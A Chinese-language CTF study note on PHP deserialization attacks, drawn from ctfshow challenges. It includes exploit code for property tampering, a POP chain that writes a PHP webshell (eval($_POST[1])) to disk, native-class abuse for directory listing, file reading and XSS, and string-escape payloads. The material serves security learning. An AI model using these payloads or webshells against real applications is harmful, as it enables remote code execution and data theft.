反序列化
反序列化漏洞一般出在三种语言中: python, java, php; 现在就主要讲讲php, 剩下的之后再说
序列化和反序列化
序列化是将复杂的数据结构(如对象及其字段)转换为"更平坦"格式的过程; 这种格式可以作为连续的字节流发送和接收序列化数据, 使数据操作更简单
而反序列化是将字节流还原为原始对象的过程
原理
序列化在内部没有漏洞, 漏洞在反序列化过程; 对用户输入过于信任/过滤不严使得攻击者能够操纵序列化对象, 以便将有害数据传递到应用程序代码中
PHP反序列化
PHP序列化
PHP通过serialize()和unserialize()来进行序列化和反序列化
$user->name = "carlos"; $user->isLoggedIn = true;
# O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}输出解释如下:
O:4:"User" # 具有4个字符的类名称的对象 "User"
2 # 对象具有2个属性
s:4:"name" # 第一个属性的键是4个字符的字符串 "name"
s:6:"carlos" # 第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn" # 第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1 # 第二个属性的值是布尔值 truePHP魔术方法
这个只能自己多试试, 多找点可用的方法
反序列化栗子
不用魔术方法的
- 获取flag
include('flag.php')
class showflag{
public $isTrue = false;
public function checkVip(){
return $this->isVip;
}
public function onlyVipGetFlag(){
if($this->isVip){
global $flag;
echo $flag;
}else{
echo "noway";
}
}
}
$user = unserialize($_GET['user']);
if($user->checkVip()){
$user->onlyVipGetFlag();
}在反序列化过程中可以控制对应变量
<?php
class ctfShowUser{
public $isVip=true;
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a));- 执行命令:
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}同样修改变量
class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}用魔术方法的
大差不差, 不过需要构造pop链(例子修改自ctfshow web261):
当然题目肯定不会这么简单, 会让你绕过一些魔术方法/利用多个魔术方法
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
unserialize($_GET['vip']);利用file_put_contents()函数写马
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u='',$p=''){
$this->username='877.php';
$this->password='<?php eval($_POST[1]);?>';
}
}
echo urlencode(serialize(new ctfshowvip()));其他题型
上面的全是新生赛水平, 现在就是特性了
原生类反序列化
原生是本就存在的意思, 所以原生类实际就是在PHP库里已经被封装好的类; 而这些类在用法上包括了目录遍历、文件读取等一系列的操作, 我们就是要利用这些封装好的函数
所有函数都可以在这里查: PHP 标准库(SPL)
本地测试好像需要在php拓展中打开soap拓展
不知道如何对pop链下手且没有可以利用函数的反序列化基本上就逃不过原生函数了
- 遍历文件目录类
(1)DirectoryIterator类:
这个类会创建一个指定目录的迭代器,当遇到echo时会触发__toString()方法,输出指定目录里面经过排序之后的第一个文件名, 如果用上循环, 就是输出所有了
<?php
highlight_file(__FILE__);
$dir=new DirectoryIterator("./");
foreach($dir as $tmp){
echo($tmp.'<br>');
}后续利用可以结合glob://协议
(2)FilesystemIterator类
本来就继承自DirectoryIterator, 可以继续用__toString()
(3)GlobIterator类
也是大同小异, 不过GlobIterator是基于glob()这个函数
<?php
highlight_file(__FILE__);
$dir=new GlobIterator("./*");
foreach($dir as $tmp){
echo($tmp.'<br>');
}- 读取文件类
SplFileObject类
该函数可以进行遍历, 查找, 读取等操作, 下面这个是对文件中的每一行内容进行遍历
<?php
$text= new SplFileObject('./flag.txt');
foreach ($text as $tmp){
echo $tmp;
}
echo "</br>";
show_source(__FILE__);同样可以结合glob://协议
- 原生
Error/Exception类
适用于php7且开启报错的情况下
Error中也有个__toString(), 控制它的内容,再配合<script>标签就能实现xss
<?php
$a = new Error("<script>alert('hello hack')</script>");
echo urlencode(serialize($a));
?>Exception继承了Error,因此Error能实现的事Exception也能实现而且操作几乎一样
题目肯定不会如此简单, 可以看【靶场】ctfshow 详解web259原生类反序列化, 这个题目利用SoapClient类结合发包直接从头构造恶意的数据包
反序列化字符串逃逸
程序直接对序列化后生成的字符串进行非法字符过滤, 导致整体字符串长度发生变化
而php反序列化时是严格遵守序列化字符串的格式的, 而且在过滤后没有进行二次验证, 我们可以利用这个特点去拼接字符串, 这就造成了字符串逃逸漏洞
可以利用我们能修改的变量去修改本来不能修改的变量, 分为字符增多的情况和字符减少的情况
<?php
highlight_file(__FILE__);
function filter_repmore($str){
return str_replace('b','cc',$str); //整体字符串变长
}
class A{
public $name='b';
public $info="ctfer";
}
$test1=new A();
print("<br>");
print(serialize($test1))."<br>";
print(filter_repmore(serialize($test1)))."<br>";
?>
/*
未过滤: O:1:"A":2:{s:4:"name";s:1:"b";s:4:"info";s:5:"ctfer";}
过滤后: O:1:"A":2:{s:4:"name";s:1:"cc";s:4:"info";s:5:"ctfer";}
成功逃逸了一个字符
*/至于为什么叫做成功逃逸了, 我们可以试试将$name改成这个:
public $name='b";s:4:"info";s:5:"ctfer";}';
/*
O:1:"A":2:{s:4:"name";s:27:"b";s:4:"info";s:5:"ctfer";}";s:4:"info";s:5:"ctfer";}
O:1:"A":2:{s:4:"name";s:27:"cc";s:4:"info";s:5:"ctfer";}";s:4:"info";s:5:"ctfer";}
*/可以发现原来b的地方数字变为27, 后面的被闭合不再生效, 这中间就是我们可控的部分; 现在只需要凑够payload相关的内容, 正常闭合就能修改其他变量
每有一个b, 就会多出一个c无法被当做正常字符串去读取
比如把$info改为hacker, 此时我们的payload
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"info";s:6:"hacker";}';
# O:1:"A":2:{s:4:"name";s:54:"cccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"info";s:6:"hacker";}";s:4:"info";s:5:"ctfer";}测试能否正常反序列化, 发现正常, 且info变为了hacker
$test2=filter_repmore(serialize($test1));
var_dump(unserialize($test2));
# object(A)#2 (2) { ["name"]=> string(54) "cccccccccccccccccccccccccccccccccccccccccccccccccccccc" ["info"]=> string(6) "hacker" }PHP的session反序列化漏洞
同样是利用闭合构造语句
中间件漏洞
- yii2框架有一个反序列化漏洞, 有多种payload和链子
- Laravel v5.7反序列化漏洞
- ThinkPHP V5.1 反序列化漏洞
phar反序列化
参考文章:
如果要生成phar文件, 你得先修改
php.ini文件, 将phar.readonly设置为Off
绕过
基本在于替换函数以及利用php特性, 都是互通的
-
传递地址
将把
&a指向的地址传给了&b, a如果发生改变, b也随之变化
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}-
大小写绕过
没什么好说的, 绕过正则表达式罢了
-
破坏正常的反序列化结构 没有太多例子, 有一个被正则截拦但是依然能正常触发
__destruct的例题是ctfshow web266 -
条件竞争
Java反序列化
Python反序列化
参考文章:
Pickle和xPickle是python下的序列化与反序列化包
这个利用过程比较像模板注入啊(ssrf), 常见也是命令执行
可以看ctfshow web277-278: Web入门_反序列化